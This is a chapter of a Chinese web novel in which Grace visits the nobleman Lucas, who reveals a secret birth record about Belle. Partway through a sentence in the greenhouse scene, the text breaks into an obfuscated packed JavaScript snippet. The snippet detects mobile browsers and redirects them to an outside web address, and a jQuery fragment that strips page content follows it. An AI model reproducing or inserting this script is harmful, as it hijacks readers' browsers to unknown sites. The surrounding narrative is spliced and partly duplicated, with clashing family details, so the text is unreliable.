过去只是序幕。


    ——《暴风雨》


    第二天一早，格蕾丝把空白的纸张放在门口，对于威廉让她写检讨的行为，她决定大方地原谅了。


    从他进门时候急切的神色来看，底下农庄的情况或许更加复杂，大雪压垮了农户的房子，紧接而来的或许会是更多的人流离失所，疫病的集中爆发或者农民的动乱也不是没有可能，所以目前她懒得和他计较他的行为。


    比起这个，她终于有时间静下心来思考子爵的古怪行为。


    如果子爵只是想借收养之名接回私生女，那么收养蓓丽一个人就够了，为什么非要再带上她？尤其是在蓓丽死后，子爵仍然坚持承认她的身份，这就更令人费解了。


    虽然子爵的同意看上去更像是形势所逼，但她相信，若是子爵不愿意承认她的私生女身份，她的入户怕是要难上许多。当然，子爵或许真的突发善心，但格蕾丝总觉得事情没那么简单。


    但是在这座庄园里，她孤立无援，贸然调查只会像无头苍蝇一样乱撞，甚至可能被人抓住把柄。


    格蕾丝正沉思着，她的贴身女仆瑞娜突然轻轻敲门。


    格蕾丝打开了房门，看到门外的瑞娜手里捧着一封火漆封缄的信件。


    “小姐，这是刚刚送来的，上面写着您的名字。”


    格蕾丝从瑞娜手上接过信，在指尖触到冰凉纸张的瞬间，心中升起一丝疑惑。


    谁会在这寒冷的冬天给她寄信？除了已故的蓓丽和福利院的人，她几乎没有其他相识的人。


    她翻过信封，火漆上的纹章并不熟悉。于是她小心地拆开信封，抽出里面的信纸，信上的内容让她感到意外：


    亲爱的格蕾丝小姐：


    冒昧打扰，希望这封信不会令您感到唐突。近日寒潮侵扰，庄园内不免冷清。若您不介意，诚邀您于明日午后光临寒舍，共赏温室新培育的冬季玫瑰。期待与您畅谈。


    您诚挚的，卢卡斯·霍华德


    看完后，格蕾丝的眉头微微挑起。卢卡斯？那个在宴会上帮助她，但是言辞轻浮的贵族？


    她记得他。高挑的身材，深邃的眉眼，嘴角总是挂着一抹若有若无的笑意。那么，他为什么会邀请她？而且，这样的邀请在当时简直称得上是大胆，甚至有些不合礼数。


    格蕾丝捏着信纸，思绪翻涌。


    卢卡斯在宴会上的相助出手不明。他为什么会突然邀请她？究竟是单纯的社交礼节，还是另有所图？


    埃斯特家族以美貌和财富闻名，同时也是无数人觊觎的对象。他邀请她，绝不仅仅是为了赏花。或许……这是一个机会？


    她将信纸轻轻折好，目光落在窗外的雪地上。


    如果她想弄清楚子爵的秘密，这肯定是打破现下僵局的机会。卢卡斯作为一个伦敦来的上流贵族，可能知道一些埃斯特家族内的隐情。当然，贸然前往陌生男性的庄园也风险不小，但正如老话所说，危险越高，收益越大。她深吸一口气，做出了决定。


    “瑞娜，”她唤来女仆，“帮我准备外出的衣服，我要出门一趟。”


    瑞娜显得有些犹豫：“小姐，外面雪很大，而且……您一个人去卢卡斯先生的庄园，恐怕不太合适。”


    格蕾丝微微一笑：“没关系，我会带上马车夫和一名男仆，不会有人说什么的。”她顿了顿，又补充道，“如果有人问起，就说我去拜访一位朋友。”


    瑞娜见她态度坚决，只好点头退下。格蕾丝换上一件厚实的羊毛斗篷，戴上手套，走出房门。


    走廊里静悄悄的，威廉似乎一早就出门处理农庄的事务了，而子爵最近也很少露面。她暗自庆幸，至少不必费心解释自己的行踪。


    马车在雪地里缓缓前行，车轮碾过积雪，发出咯吱咯吱的声响。格蕾丝透过车窗望着外面苍白的景色，思绪飘远。卢卡斯的庄园位于城郊，距离子爵的庄园不算太远，但这段路程在风雪中显得格外漫长。


    冬日的玫瑰。玫瑰本身栽种不易，更不要说在这样严寒的冬日了，由此看来，卢卡斯的庄园看起来确实十分富有，埃斯特姐妹想要嫁给他也情有可原，就是不知道她们俩要是得知了卢卡斯的私下邀请，面上会露出怎样的精彩神色呢？格蕾丝的思绪一会儿飘到这，一会儿飘得更远。


    终于，马车停在一座古朴的庄园前。


    与子爵府的恢弘不同，卢卡斯的庄园显得更加随性，花园里的灌木被积雪覆盖，但依稀能看出它们未经修剪的自然形态。一名仆人早已在门口等候，见到格蕾丝下车，恭敬地行礼：“格蕾丝小姐，卢卡斯先生正在客厅等您。”


    仆人们显然训练有素，或许是被提前交代过了，就算见到格蕾丝面部的疤痕，也未流露出令人不适的神情。


    她跟着仆人穿过走廊，壁炉的火光将走廊映得温暖而明亮。客厅的门敞开着，卢卡斯正站在窗边，听到脚步声，他转过身来，脸上挂着明朗的笑容。


    “格蕾丝小姐，真高兴您能来。”


    他现下的打扮比格蕾丝宴会那天所见的样子要年轻得许多，从外表上看上去最多只有二十五六岁，深棕色的卷发随意地搭在额前，眼睛里带着一种狡黠的光芒。他穿着休闲的棉毛外套，没有过多装饰，却显得格外精神。


    “谢谢您的邀请，卢卡斯先生。”格蕾丝礼貌地回应，同时悄悄打量着他。


    “请坐，”他示意她坐在壁炉旁的扶手椅上，“这样的天气出门一定很冷吧？我让人准备了热茶。”


    仆人适时地端上茶点，格蕾丝接过茶杯，温热的气息驱散了她指尖的寒意。她决定直接切入主题：“卢卡斯先生，恕我冒昧，但我很好奇您为什么会突然邀请我？”


    卢卡斯闻言露出笑意，他靠在椅背上，姿态放松：“不必如此着急，格蕾丝，喝完这杯茶驱一驱寒意，我们再去温室赏玫瑰，相信您会喜欢的。”


    客厅一时之间安静了下来，只有壁炉柴火劈里啪啦烧火的声音。


    格蕾丝端着手里的茶杯慢慢啜饮。杯子是瓷制的，从遥远的东方运送过来，深受贵族们的喜爱。


    这套茶具与格蕾丝在埃斯顿庄园里所见的不同，它漆满了柔和的粉彩，她手中的是薄荷绿色的，卢卡斯手中的是玫瑰粉，与他这个人的个性不太相符，格蕾丝以为他会更喜欢家族纹章款式的。


    啜饮完这杯茶水，格蕾丝感到身上的寒意确实消除了不少，卢卡斯意外地是一个贴心的人。


    见格蕾丝喝完了茶水，卢卡斯绅士地站起，为格蕾丝指引后花园中温室的方向。


    “温室在这边，”他引导她穿过庭院，“今年的冬季玫瑰开得格外好，我想您一定会喜欢。”


    温室里温暖如春，与外面的严寒形成鲜明对比。各色玫瑰在玻璃穹顶下绽放，空气中弥漫着淡淡的花香。卢卡斯带着她走到一丛深红色的玫瑰前，轻轻抚过花瓣。“这是‘PolarStar’，只在最寒冷的季节开放。”


    格蕾丝注视着那朵花，鲜红的花瓣像浸染了鲜血一般。“很美，但也有些……令人不安。”


    卢卡斯笑了。“您果然与众不同。大多数淑女只会称赞它的美丽，而您却看到了更深层的东西。”


    “或许是因为我见过太多表面的美好背后藏着阴暗。”格蕾丝淡淡地说。


    卢卡斯注视着她，目光深邃。“比如子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15605002|171995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爵大人的善举？”


    格蕾丝心头一紧，但面上不露分毫：“我不太明白您的意思。”


    格蕾丝心头一跳，但面上不显。“您似乎对子爵很感兴趣。”


    “不，”他轻轻摇头，“我是对您感兴趣。”


    格蕾丝抬起眼，与他对视。“为什么？”


    “因为您身上有谜团，而我喜欢解谜。”他的声音低沉，带着一丝蛊惑。“比如，您为什么一定要子爵承认您的身份？您明明不是他的私生女。”


    格蕾丝的呼吸微微一滞。他知道？还是只是在试探？


    “您凭什么这么认为？”她反问。


    卢卡斯轻笑一声，从口袋里掏出一张泛黄的纸片，递给她。“凭这个。”


    格蕾丝接过纸片，上面是一份陈年的出生记录——蓓丽的名字赫然在列，而母亲一栏写着“阿米莉娅·埃斯特”。


    她的手指微微颤抖，果然，那相似的面容和美貌，蓓丽奇差的体质都有了解释。


    “这是……？”


    “蓓丽的生母，是我的姑姑。”卢卡斯的声音很轻，却像惊雷般炸响在格蕾丝耳边。“而您，格蕾丝小姐，您和埃斯特家族毫无血缘关系。那么，子爵为什么要收养您？”


    “您邀请我来，就是为了告诉我这个？”格蕾丝沉默了片刻说道。


    她突然抬起头直视卢卡斯的眼睛：“您又为什么要告诉我这些呢？你的目的是什么？”


    卢卡斯靠近一步，声音压得更低。“我想和您合作。”


    “合作？”


    “子爵的动机不纯，而埃斯特家族……也有自己的敌人。”他的眼神变得锐利。“我们可以互相帮助。”


    格蕾丝深吸一口气。“您想要什么？”


    “真相。”他微微一笑，“以及，一个盟友。”


    就在这时，温室的门突然被推开，一名仆人匆匆走了进来。“少爷，埃斯特家族的马车刚刚到了庄园门口。”


    格蕾丝的心跳陡然加速。她一直在想着如何能彻底扳倒埃斯特家族这个庞然大物为蓓丽复仇。现在卢卡斯的话仿佛撕开了一道口子，让她看到了黑暗中的一丝光亮。


    “您有证据？”她急切地问。


    卢卡斯摇摇头：“暂时没有，但我正在调查。如果您愿意，我们可以合作。”


    格蕾丝犹豫了。卢卡斯的话听起来合情合理，但她对他并不了解，无法确定他是否值得信任。然而，眼下她也没有更好的选择。


    “我需要时间考虑。”她最终说道。


    “当然，”卢卡斯理解地点头，“不过时间可能不多了。子爵最近频繁与一些陌生人会面，我不认为那是什么好事。”


    格蕾丝站起身：“谢谢您的提醒，我会留意的。”


    卢卡斯送她到门口，临别时突然说道：“对了，如果您想了解更多关于姑姑的事，可以去城里的老教堂找一位叫托马斯的神父。他是当年的见证者之一。”


    格蕾丝点点头，登上马车。回程的路上，她的思绪比来时更加纷乱。如果蓓丽真的是子爵表妹的孩子，那么子爵收养她的动机就说得通了。但蓓丽的死又与此有何关联？子爵究竟有没有参与其中？卢卡斯的话是真是假？她需要更多信息。


    马车驶入子爵府时，天色已暗。她刚走下马车，瑞娜就匆匆迎上来，脸色苍白：“小姐，您总算回来了！出事了！”


    “怎么了？”格蕾丝心头一紧。


    “威廉先生刚刚带回消息，农庄那边爆发了热病，已经死了好几个人。子爵下令封锁庄园，任何人不得进出！”


    格蕾丝愣住了。热病？封锁？这一切发生得太过突然。